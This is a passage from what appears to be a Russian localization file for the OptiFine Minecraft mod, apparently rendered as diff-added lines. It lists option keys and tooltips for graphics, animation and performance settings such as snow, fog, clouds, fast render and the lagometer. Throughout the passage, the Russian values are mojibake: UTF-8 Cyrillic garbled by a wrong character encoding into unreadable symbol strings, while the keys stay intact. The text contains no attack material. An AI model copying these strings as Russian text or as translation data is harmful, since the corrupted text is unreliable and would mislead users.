текÑтуры Ñторон дёрна на верхнюю. + +of.options.BETTER_SNOW=Улучшенный Ñнег +of.options.BETTER_SNOW.tooltip.1=Улучшенный Ñнег +of.options.BETTER_SNOW.tooltip.2= §oВыкл§r - Ñтандартный Ñнег (быÑтрее) +of.options.BETTER_SNOW.tooltip.3= Вкл - улучшенный Ñнег (медленнее) +of.options.BETTER_SNOW.tooltip.4=Показывает Ñнег под прилегающими к нему прозрачными +of.options.BETTER_SNOW.tooltip.5=блоками (забор, трава). + +of.options.CUSTOM_FONTS=Шрифт +of.options.CUSTOM_FONTS.tooltip.1=ПользовательÑкий шрифт +of.options.CUSTOM_FONTS.tooltip.2= §oВкл§r - пользовательÑкий шрифт +of.options.CUSTOM_FONTS.tooltip.3= Выкл - Ñтандартный шрифт (быÑтрее) +of.options.CUSTOM_FONTS.tooltip.4=ПредоÑтавлÑетÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CUSTOM_FONTS.tooltip.5= + +of.options.CUSTOM_COLORS=Цвета +of.options.CUSTOM_COLORS.tooltip.1=ПользовательÑкие цвета +of.options.CUSTOM_COLORS.tooltip.2= §oВкл§r - пользовательÑкие цвета +of.options.CUSTOM_COLORS.tooltip.3= Выкл - Ñтандартные цвета (быÑтрее) +of.options.CUSTOM_COLORS.tooltip.4=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CUSTOM_COLORS.tooltip.5= + +of.options.SWAMP_COLORS=Болотные цвета +of.options.SWAMP_COLORS.tooltip.1=Болотные цвета +of.options.SWAMP_COLORS.tooltip.2= §oВкл§r - болотные цвета (медленнее) +of.options.SWAMP_COLORS.tooltip.3= Выкл - болотные цвета не отображаютÑÑ (быÑтрее) +of.options.SWAMP_COLORS.tooltip.4=ВлиÑет на цвет травы, лиÑтьев, лиан и воды в болоте. + +of.options.SMOOTH_BIOMES=Сглаженные биомы +of.options.SMOOTH_BIOMES.tooltip.1=Сглаживание цветов границ биомов +of.options.SMOOTH_BIOMES.tooltip.2= §oВкл§r - Ñглаженные цвета (медленнее) +of.options.SMOOTH_BIOMES.tooltip.3= Выкл - неÑглаженные цвета (быÑтрее) +of.options.SMOOTH_BIOMES.tooltip.4=ОÑущеÑтвлÑетÑÑ Ð¿ÑƒÑ‚Ñ‘Ð¼ выбора и уÑÑ€ÐµÐ´Ð½ÐµÐ½Ð¸Ñ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ð¹ +of.options.SMOOTH_BIOMES.tooltip.5=цветов вÑех окружающих блоков. +of.options.SMOOTH_BIOMES.tooltip.6=ВлиÑет на цвет травы, лиÑтьев, лиан и воды. + +of.options.CONNECTED_TEXTURES=Соедин. текÑтур +of.options.CONNECTED_TEXTURES.tooltip.1=Соединение текÑтур +of.options.CONNECTED_TEXTURES.tooltip.2= §oВыкл§r - неÑоединённые текÑтуры +of.options.CONNECTED_TEXTURES.tooltip.3= БыÑтро - быÑтрое Ñоединение +of.options.CONNECTED_TEXTURES.tooltip.4= Детально - качеÑтвенное Ñоединение +of.options.CONNECTED_TEXTURES.tooltip.5=CоединÑет текÑтуры (по умолчанию Ñтекла, пеÑчаника +of.options.CONNECTED_TEXTURES.tooltip.6=и книжных полок) друг Ñ Ð´Ñ€ÑƒÐ³Ð¾Ð¼. +of.options.CONNECTED_TEXTURES.tooltip.7=ПредоÑтавлÑетÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CONNECTED_TEXTURES.tooltip.8= + +of.options.NATURAL_TEXTURES=ЕÑтеÑтвен. текÑтуры +of.options.NATURAL_TEXTURES.tooltip.1=ЕÑтеÑтвенные текÑтуры +of.options.NATURAL_TEXTURES.tooltip.2= §oВыкл§r - без еÑтеÑтвенных текÑтур +of.options.NATURAL_TEXTURES.tooltip.3= Вкл - иÑпользование еÑтеÑтвенных текÑтур +of.options.NATURAL_TEXTURES.tooltip.4=Убирает повторÑющиеÑÑ Ñ‚ÐµÐºÑтуры блоков и вмеÑто +of.options.NATURAL_TEXTURES.tooltip.5=них иÑпользует повёрнутые и отражённые варианты. +of.options.NATURAL_TEXTURES.tooltip.6=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.NATURAL_TEXTURES.tooltip.7= +of.options.NATURAL_TEXTURES.tooltip.8= + +of.options.EMISSIVE_TEXTURES=СветÑщиеÑÑ Ñ‚ÐµÐºÑтуры +of.options.EMISSIVE_TEXTURES.tooltip.1=СветÑщиеÑÑ Ñ‚ÐµÐºÑтуры +of.options.EMISSIVE_TEXTURES.tooltip.2= §oВыкл§r - без ÑветÑщихÑÑ Ñ‚ÐµÐºÑтур +of.options.EMISSIVE_TEXTURES.tooltip.3= Вкл - иÑпользование ÑветÑщихÑÑ Ñ‚ÐµÐºÑтур +of.options.EMISSIVE_TEXTURES.tooltip.4=СветÑщиеÑÑ Ñ‚ÐµÐºÑтуры отображаютÑÑ Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð¹ ÑркоÑтью. +of.options.EMISSIVE_TEXTURES.tooltip.5=Их можно иÑпользовать Ð´Ð»Ñ Ð¸Ð¼Ð¸Ñ‚Ð°Ñ†Ð¸Ð¸ ÑÐ²ÐµÑ‚Ð¾Ð¸Ð·Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ +of.options.EMISSIVE_TEXTURES.tooltip.6=чаÑтей оÑновной текÑтуры. +of.options.EMISSIVE_TEXTURES.tooltip.7=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.EMISSIVE_TEXTURES.tooltip.8= + +of.options.CUSTOM_SKY=ТекÑтуры неба +of.options.CUSTOM_SKY.tooltip.1=ПользовательÑкие текÑтуры неба +of.options.CUSTOM_SKY.tooltip.2= §oВкл§r - небо Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкими текÑтурами +of.options.CUSTOM_SKY.tooltip.3= Выкл - Ñтандартные текÑтуры неба (быÑтрее) +of.options.CUSTOM_SKY.tooltip.4=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CUSTOM_SKY.tooltip.5= + +of.options.CUSTOM_ITEMS=ТекÑтуры предметов +of.options.CUSTOM_ITEMS.tooltip.1=ПользовательÑкие текÑтуры предметов +of.options.CUSTOM_ITEMS.tooltip.2= §oВкл§r - предметы Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкими текÑтурами +of.options.CUSTOM_ITEMS.tooltip.3= Выкл - Ñтандартные текÑтуры предметов (быÑтрее) +of.options.CUSTOM_ITEMS.tooltip.4=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CUSTOM_ITEMS.tooltip.5= + +of.options.CUSTOM_ENTITY_MODELS=Модели ÑущноÑтей +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=ПользовательÑкие модели ÑущноÑтей +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= §oВкл§r - ÑущноÑти Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкими моделÑми +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= Выкл - Ñтандартные модели ÑущноÑтей (быÑтрее) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.CUSTOM_ENTITY_MODELS.tooltip.5= + +of.options.CUSTOM_GUIS=Ð˜Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ +of.options.CUSTOM_GUIS.tooltip.1=ПользовательÑкий Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ +of.options.CUSTOM_GUIS.tooltip.2= §oВкл§r - пользовательÑкий Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ +of.options.CUSTOM_GUIS.tooltip.3= Выкл - Ñтандартный Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ (быÑтрее) +of.options.CUSTOM_GUIS.tooltip.4=ПредоÑтавлÑетÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. + +# Элементы игры + +of.options.CLOUDS=Облака +of.options.CLOUDS.tooltip.1=Отображение облаков +of.options.CLOUDS.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.CLOUDS.tooltip.3= БыÑтро - двухмерные облака (быÑтрее) +of.options.CLOUDS.tooltip.4= Детально - трёхмерные облака (медленнее) +of.options.CLOUDS.tooltip.5= Выкл - облака отключены (ещё быÑтрее) +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7= + +of.options.CLOUD_HEIGHT=Ð’Ñ‹Ñота облаков +of.options.CLOUD_HEIGHT.tooltip.1=Ð’Ñ‹Ñота облаков +of.options.CLOUD_HEIGHT.tooltip.2= §oВыкл§r - выÑота по умолчанию +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - над ограничением выÑоты мира + +of.options.TREES=ЛиÑÑ‚ÑŒÑ +of.options.TREES.tooltip.1=Отображение лиÑтьев +of.options.TREES.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.TREES.tooltip.3= БыÑтро - непрозрачные лиÑÑ‚ÑŒÑ (быÑтрее) +of.options.TREES.tooltip.4= Умно - прозрачные лиÑÑ‚ÑŒÑ Ð±ÐµÐ· текÑтур между ними +of.options.TREES.tooltip.5= Детально - прозрачные лиÑÑ‚ÑŒÑ (медленнее) +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7= + +of.options.RAIN=Дождь и Ñнег +of.options.RAIN.tooltip.1=Отображение Ð´Ð¾Ð¶Ð´Ñ Ð¸ Ñнега +of.options.RAIN.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.RAIN.tooltip.3= БыÑтро - лёгкий дождь/Ñнег (быÑтрее) +of.options.RAIN.tooltip.4= Детально - Ñильный дождь/Ñнег (медленнее) +of.options.RAIN.tooltip.5= Выкл - без дождÑ/Ñнега (ещё быÑтрее) +of.options.RAIN.tooltip.6=Ðе влиÑет на брызги и звуки дождÑ. +of.options.RAIN.tooltip.7= + +of.options.SKY=Ðебо +of.options.SKY.tooltip.1=Отображение неба +of.options.SKY.tooltip.2= §oВкл§r - небо видно (медленнее) +of.options.SKY.tooltip.3= Выкл - небо не видно (быÑтрее) +of.options.SKY.tooltip.4=Ðе влиÑет на Ñолнце и луну. + +of.options.STARS=Звёзды +of.options.STARS.tooltip.1=Отображение звёзд +of.options.STARS.tooltip.2= §oВкл§r - звёзды видны (медленнее) +of.options.STARS.tooltip.3= Выкл - звёзды не видны (быÑтрее) + +of.options.SUN_MOON=Солнце и луна +of.options.SUN_MOON.tooltip.1=Отображение Ñолнца и луны +of.options.SUN_MOON.tooltip.2= §oВкл§r - Ñолнце и луна видны +of.options.SUN_MOON.tooltip.3= Выкл - Ñолнце и луна не видны (быÑтрее) + +of.options.SHOW_CAPES=Плащи +of.options.SHOW_CAPES.tooltip.1=Отображение плащей игроков +of.options.SHOW_CAPES.tooltip.2= §oВкл§r - плащи видны +of.options.SHOW_CAPES.tooltip.3= Выкл - плащи не видны + +of.options.FOG_FANCY=Туман +of.options.FOG_FANCY.tooltip.1=Тип тумана +of.options.FOG_FANCY.tooltip.2= БыÑтро - быÑтрый туман +of.options.FOG_FANCY.tooltip.3= Детально - гуÑтой туман +of.options.FOG_FANCY.tooltip.4= Выкл - туман отключён (быÑтрее) +of.options.FOG_FANCY.tooltip.5=ГуÑтой туман должен поддерживатьÑÑ Ð²Ð¸Ð´ÐµÐ¾ÐºÐ°Ñ€Ñ‚Ð¾Ð¹. +of.options.FOG_FANCY.tooltip.6= + +of.options.FOG_START=УдалённоÑÑ‚ÑŒ тумана +of.options.FOG_START.tooltip.1=УдалённоÑÑ‚ÑŒ тумана +of.options.FOG_START.tooltip.2= 0.2 - начало тумана Ñ€Ñдом Ñ Ð¸Ð³Ñ€Ð¾ÐºÐ¾Ð¼ +of.options.FOG_START.tooltip.3= 0.8 - начало тумана вдали от игрока +of.options.FOG_START.tooltip.4=Обычно не влиÑет на производительноÑÑ‚ÑŒ. + +of.options.TRANSLUCENT_BLOCKS=ПрозрачноÑÑ‚ÑŒ +of.options.TRANSLUCENT_BLOCKS.tooltip.1=ПрозрачноÑÑ‚ÑŒ блоков +of.options.TRANSLUCENT_BLOCKS.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Детально - правильное Ñмешивание (медленнее) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= БыÑтро - быÑтрое Ñмешивание (быÑтрее) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=УправлÑет Ñмешиванием цветов прозрачных блоков +of.options.TRANSLUCENT_BLOCKS.tooltip.6=разного цвета (Ñтекло, вода, лёд), размещённых друг +of.options.TRANSLUCENT_BLOCKS.tooltip.7=за другом Ñ Ð²Ð¾Ð·Ð´ÑƒÑ…Ð¾Ð¼ между ними. + +of.options.HELD_ITEM_TOOLTIPS=ПодÑказка о предмете +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Ð’ÑÐ¿Ð»Ñ‹Ð²Ð°ÑŽÑ‰Ð°Ñ Ð¿Ð¾Ð´Ñказка об удерживаемом предмете. +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= §oВкл§r - показывать вÑплывающую подÑказку +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Выкл - не показывать вÑплывающую подÑказку + +of.options.DROPPED_ITEMS=Предметы +of.options.DROPPED_ITEMS.tooltip.1=Отображение выкинутых предметов +of.options.DROPPED_ITEMS.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.DROPPED_ITEMS.tooltip.3= БыÑтро - двухмерные предметы (быÑтрее) +of.options.DROPPED_ITEMS.tooltip.4= Детально - трёхмерные предметы (медленнее) + +options.entityShadows.tooltip.1=Тени ÑущноÑтей +options.entityShadows.tooltip.2= Вкл - тени ÑущноÑтей видны +options.entityShadows.tooltip.3= Выкл - тени ÑущноÑтей не видны + +of.options.VIGNETTE=Виньетка +of.options.VIGNETTE.tooltip.1=Виньетирование +of.options.VIGNETTE.tooltip.2= §oПо умолчанию§r - ÑоглаÑно наÑтройкам графики +of.options.VIGNETTE.tooltip.3= БыÑтро - виньетирование отключено (быÑтрее) +of.options.VIGNETTE.tooltip.4= Детально - виньетирование включено (медленнее) +of.options.VIGNETTE.tooltip.5=Слегка затемнÑет ÐºÑ€Ð°Ñ Ñкрана. +of.options.VIGNETTE.tooltip.6=Может оказывать значительное влиÑние на чаÑтоту +of.options.VIGNETTE.tooltip.7=кадров, оÑобенно при игре в полноÑкранном режиме. +of.options.VIGNETTE.tooltip.8= + +of.options.ALTERNATE_BLOCKS=Ðльтернативные блоки +of.options.ALTERNATE_BLOCKS.tooltip.1=Ðльтернативные модели блоков +of.options.ALTERNATE_BLOCKS.tooltip.2=ИÑпользует альтернативные модели блоков. +of.options.ALTERNATE_BLOCKS.tooltip.3=ЗавиÑит от выбранного пакета реÑурÑов. + +# ПроизводительноÑÑ‚ÑŒ + +of.options.SMOOTH_FPS=Ð¡Ñ‚Ð°Ð±Ð¸Ð»Ð¸Ð·Ð¸Ð·Ð°Ñ†Ð¸Ñ FPS +of.options.SMOOTH_FPS.tooltip.1=Ð¡Ñ‚Ð°Ð±Ð¸Ð»Ð¸Ð·Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ‡Ð°Ñтоты кадров +of.options.SMOOTH_FPS.tooltip.2= Выкл - чаÑтота кадров может колебатьÑÑ +of.options.SMOOTH_FPS.tooltip.3= Вкл - чаÑтота кадров ÑтабилизируетÑÑ +of.options.SMOOTH_FPS.tooltip.4=Стабилизирует чаÑтоту кадров поÑредÑтвом очиÑтки +of.options.SMOOTH_FPS.tooltip.5=буфера видеокарты. ЗавиÑит от видеодрайвера; +of.options.SMOOTH_FPS.tooltip.6=результат Ñтабилизации не вÑегда виден. + +of.options.SMOOTH_WORLD=Ð¡Ñ‚Ð°Ð±Ð¸Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¼Ð¸Ñ€Ð° +of.options.SMOOTH_WORLD.tooltip.1=Ð¡Ñ‚Ð°Ð±Ð¸Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¼Ð¸Ñ€Ð° +of.options.SMOOTH_WORLD.tooltip.2= Выкл - чаÑтота кадров может колебатьÑÑ +of.options.SMOOTH_WORLD.tooltip.3= Вкл - чаÑтота кадров ÑтабилизируетÑÑ +of.options.SMOOTH_WORLD.tooltip.4=Убирает задержки, Ñозданные внутренним Ñервером. +of.options.SMOOTH_WORLD.tooltip.5=РаÑпределÑет нагрузку на внутренний Ñервер. +of.options.SMOOTH_WORLD.tooltip.6=ДейÑтвует только в локальных мирах (Ð¾Ð´Ð¸Ð½Ð¾Ñ‡Ð½Ð°Ñ Ð¸Ð³Ñ€Ð°). + +of.options.FAST_RENDER=БыÑтрый рендер +of.options.FAST_RENDER.tooltip.1=БыÑтрый рендеринг +of.options.FAST_RENDER.tooltip.2= §oВыкл§r - Ñтандартный рендеринг +of.options.FAST_RENDER.tooltip.3= Вкл - оптимизированный рендеринг (быÑтрее) +of.options.FAST_RENDER.tooltip.4=ИÑпользует оптимизированный алгоритм рендеринга, +of.options.FAST_RENDER.tooltip.5=который уменьшает нагрузку на ГП и может ÑущеÑтвенно +of.options.FAST_RENDER.tooltip.6=повыÑить чаÑтоту кадров. +of.options.FAST_RENDER.tooltip.7=Может конфликтовать Ñ Ð½ÐµÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼Ð¸ модификациÑми. + +of.options.FAST_MATH=БыÑтрое вычиÑление +of.options.FAST_MATH.tooltip.1=БыÑтрое вычиÑление +of.options.FAST_MATH.tooltip.2= §oВыкл§r - Ñтандартное вычиÑление +of.options.FAST_MATH.tooltip.3= Вкл - быÑтрое вычиÑление +of.options.FAST_MATH.tooltip.4=ИÑпользует оптимизированные функции sin() и cos(), +of.options.FAST_MATH.tooltip.5=из-за чего поÑвлÑетÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑ‚ÑŒ лучше иÑпользовать +of.options.FAST_MATH.tooltip.6=кÑш процеÑÑора и повыÑить чаÑтоту кадров. +of.options.FAST_MATH.tooltip.7=Может Ñлегка влиÑÑ‚ÑŒ на генерацию мира. + +of.options.CHUNK_UPDATES=Обновление чанков +of.options.CHUNK_UPDATES.tooltip.1=ЧаÑтота Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‡Ð°Ð½ÐºÐ¾Ð² +of.options.CHUNK_UPDATES.tooltip.2= §o1§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° мира (выÑÐ¾ÐºÐ°Ñ Ñ‡Ð°Ñтота кадров) +of.options.CHUNK_UPDATES.tooltip.3= 3 - быÑÑ‚Ñ€Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° мира (Ð¿Ð¾Ð½Ð¸Ð¶ÐµÐ½Ð½Ð°Ñ Ñ‡Ð°Ñтота кадров) +of.options.CHUNK_UPDATES.tooltip.4= 5 - быÑÑ‚Ñ€ÐµÐ¹ÑˆÐ°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° мира (Ð½Ð¸Ð·ÐºÐ°Ñ Ñ‡Ð°Ñтота кадров) +of.options.CHUNK_UPDATES.tooltip.5=КоличеÑтво обновлений чанков за один кадр. +of.options.CHUNK_UPDATES.tooltip.6=Ð’Ñ‹Ñокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ деÑтабилизировать чаÑтоту кадров. + +of.options.CHUNK_UPDATES_DYNAMIC=Динамич. обновление +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=ДинамичеÑкое обновление чанков +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= §oВыкл§r - Ñтандартное обновление чанков +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Вкл - динамичеÑкое обновление чанков +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Когда игрок Ñтоит на меÑте, чанки обновлÑÑŽÑ‚ÑÑ Ñ‡Ð°Ñ‰Ðµ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, чтобы мир загрузилÑÑ Ð±Ñ‹Ñтрее. + +of.options.LAZY_CHUNK_LOADING=Медленные чанки +of.options.LAZY_CHUNK_LOADING.tooltip.1=ÐœÐµÐ´Ð»ÐµÐ½Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° чанков +of.options.LAZY_CHUNK_LOADING.tooltip.2= §oВыкл§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° чанков Ñервера +of.options.LAZY_CHUNK_LOADING.tooltip.3= Вкл - Ð¼ÐµÐ´Ð»ÐµÐ½Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° чанков Ñервера (плавнее) +of.options.LAZY_CHUNK_LOADING.tooltip.4=Стабилизирует загрузку чанков внутреннего Ñервера, +of.options.LAZY_CHUNK_LOADING.tooltip.5=раÑпределÑÑ ÐµÑ‘ на неÑколько тактов. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Выключите, еÑли чаÑти мира загружаютÑÑ Ð½ÐµÐºÐ¾Ñ€Ñ€ÐµÐºÑ‚Ð½Ð¾. +of.options.LAZY_CHUNK_LOADING.tooltip.7=ДейÑтвует только в локальных мирах (Ð¾Ð´Ð¸Ð½Ð¾Ñ‡Ð½Ð°Ñ Ð¸Ð³Ñ€Ð°). + +of.options.RENDER_REGIONS=ОблаÑти рендеринга +of.options.RENDER_REGIONS.tooltip.1=ОблаÑти рендеринга +of.options.RENDER_REGIONS.tooltip.2= §oВыкл§r - не иÑпользовать облаÑти рендеринга +of.options.RENDER_REGIONS.tooltip.3= Вкл - иÑпользовать облаÑти рендеринга +of.options.RENDER_REGIONS.tooltip.4=ПозволÑÑŽÑ‚ уÑкорить рендеринг меÑтноÑти на выÑокой +of.options.RENDER_REGIONS.tooltip.5=дальноÑти прориÑовки. Эффективнее Ñ Ð²ÐºÐ»ÑŽÑ‡Ñ‘Ð½Ð½Ñ‹Ð¼ VBO. +of.options.RENDER_REGIONS.tooltip.6=Ðе рекомендуетÑÑ Ð¸Ñпользовать Ñ Ð²Ñтроенной видеокартой. + +of.options.SMART_ANIMATIONS=Умные анимации +of.options.SMART_ANIMATIONS.tooltip.1=Умные анимации +of.options.SMART_ANIMATIONS.tooltip.2= §oВыкл§r - не иÑпользовать умные анимации +of.options.SMART_ANIMATIONS.tooltip.3= Вкл - иÑпользовать умные анимации +of.options.SMART_ANIMATIONS.tooltip.4=Ðнимирует только текÑтуры, которые видны на Ñкране, +of.options.SMART_ANIMATIONS.tooltip.5=что уменьшает чиÑло завиÑаний и увеличивает FPS. +of.options.SMART_ANIMATIONS.tooltip.6=ОÑобенно полезно Ð´Ð»Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ñ… наборов модов и +of.options.SMART_ANIMATIONS.tooltip.7=пакетов реÑурÑов Ñ Ñ‚ÐµÐºÑтурами HD-качеÑтва. + +# ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ + +of.options.animation.allOn=Включить вÑÑ‘ +of.options.animation.allOff=Выключить вÑÑ‘ +of.options.animation.dynamic=ДинамичеÑÐºÐ°Ñ + +of.options.ANIMATED_WATER=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð²Ð¾Ð´Ñ‹ +of.options.ANIMATED_LAVA=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð»Ð°Ð²Ñ‹ +of.options.ANIMATED_FIRE=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð¾Ð³Ð½Ñ +of.options.ANIMATED_PORTAL=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð¿Ð¾Ñ€Ñ‚Ð°Ð»Ð° +of.options.ANIMATED_REDSTONE=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ñ€ÐµÐ´Ñтоуна +of.options.ANIMATED_EXPLOSION=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð²Ð·Ñ€Ñ‹Ð²Ð° +of.options.ANIMATED_FLAME=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð¿Ð»Ð°Ð¼ÐµÐ½Ð¸ +of.options.ANIMATED_SMOKE=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð´Ñ‹Ð¼Ð° +of.options.VOID_PARTICLES=ЧаÑтицы пуÑтоты +of.options.WATER_PARTICLES=ЧаÑтицы воды +of.options.RAIN_SPLASH=Брызги Ð´Ð¾Ð¶Ð´Ñ +of.options.PORTAL_PARTICLES=ЧаÑтицы портала +of.options.POTION_PARTICLES=ЧаÑтицы зелий +of.options.DRIPPING_WATER_LAVA=ÐšÐ°Ð¿Ð°ÑŽÑ‰Ð°Ñ Ð²Ð¾Ð´Ð°/лава +of.options.ANIMATED_TERRAIN=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ð¼ÐµÑтноÑти +of.options.ANIMATED_TEXTURES=ÐÐ½Ð¸Ð¼Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐºÑтур +of.options.FIREWORK_PARTICLES=ЧаÑтицы фейерверков + +# Прочее + +of.options.LAGOMETER=Лагометр +of.options.LAGOMETER.tooltip.1=Показывает лагометр на Ñкране отладки (F3). +of.options.LAGOMETER.tooltip.2=* §4КраÑный§r - обновление чанков +of.options.LAGOMETER.tooltip.3=* §6Оранжевый§r - Ñборщик муÑора памÑти +of.options.LAGOMETER.tooltip.4=* §eЖёлтый§r - проверка видимоÑти +of.options.LAGOMETER.tooltip.5=* §aЗелёный§r - рендеринг меÑтноÑти +of.options.LAGOMETER.tooltip.6=* §bГолубой§r - такт +of.options.LAGOMETER.tooltip.7=* §9Синий§r - запланированные иÑполнÑемые файлы +of.options.LAGOMETER.tooltip.8=* §5Фиолетовый§r - загрузка чанков + +of.options.PROFILER=Профайлер +of.options.PROFILER.tooltip.1=Отладочный профайлер +of.options.PROFILER.tooltip.2= Вкл - профайлер активен (медленнее) +of.options.PROFILER.tooltip.3= Выкл - профайлер неактивен (быÑтрее) +of.options.PROFILER.tooltip.4=Собирает и показывает дополнительную информацию на +of.options.PROFILER.tooltip.5=Ñкране отладки (F3). + +of.options.SHOW_FPS=Отображение FPS +of.options.SHOW_FPS.tooltip.1=Отображение компактной информации о рендере +of.options.SHOW_FPS.tooltip.2= #/# fps - Ñреднее/минимальное чиÑло FPS +of.options.SHOW_FPS.tooltip.3= C: - отображаемые чанки +of.options.SHOW_FPS.tooltip.4= E: - отображаемые ÑущноÑти + блоки-ÑущноÑти +of.options.SHOW_FPS.tooltip.5= U: - обновление чанка +of.options.SHOW_FPS.tooltip.6=Отображает компактную информацию о рендере, когда +of.options.SHOW_FPS.tooltip.7=отключён Ñкран отладки. + +of.options.ADVANCED_TOOLTIPS=РаÑширен. подÑказки +of.options.ADVANCED_TOOLTIPS.tooltip.1=РаÑширенные подÑказки +of.options.ADVANCED_TOOLTIPS.tooltip.2= Вкл - Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð° +of.options.ADVANCED_TOOLTIPS.tooltip.3= §oВыкл§r - Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾Ñ‚ÐºÐ»ÑŽÑ‡ÐµÐ½Ð° +of.options.ADVANCED_TOOLTIPS.tooltip.4=Показывает дополнительную информацию о предметах +of.options.ADVANCED_TOOLTIPS.tooltip.5=и о параметрах шейдеров (ID, файл и Ñ‚. д.). +of.options.ADVANCED_TOOLTIPS.tooltip.6= + +of.options.WEATHER=Погода +of.options.WEATHER.tooltip.1=Погода +of.options.WEATHER.tooltip.2= Вкл - погода активна (медленнее) +of.options.WEATHER.tooltip.3= Выкл - погода неактивна (быÑтрее) +of.options.WEATHER.tooltip.4=Контролирует дождь, Ñнег и грозу. +of.options.WEATHER.tooltip.5=ДейÑтвует только в локальных мирах. + +of.options.TIME=Ð’Ñ€ÐµÐ¼Ñ Ñуток 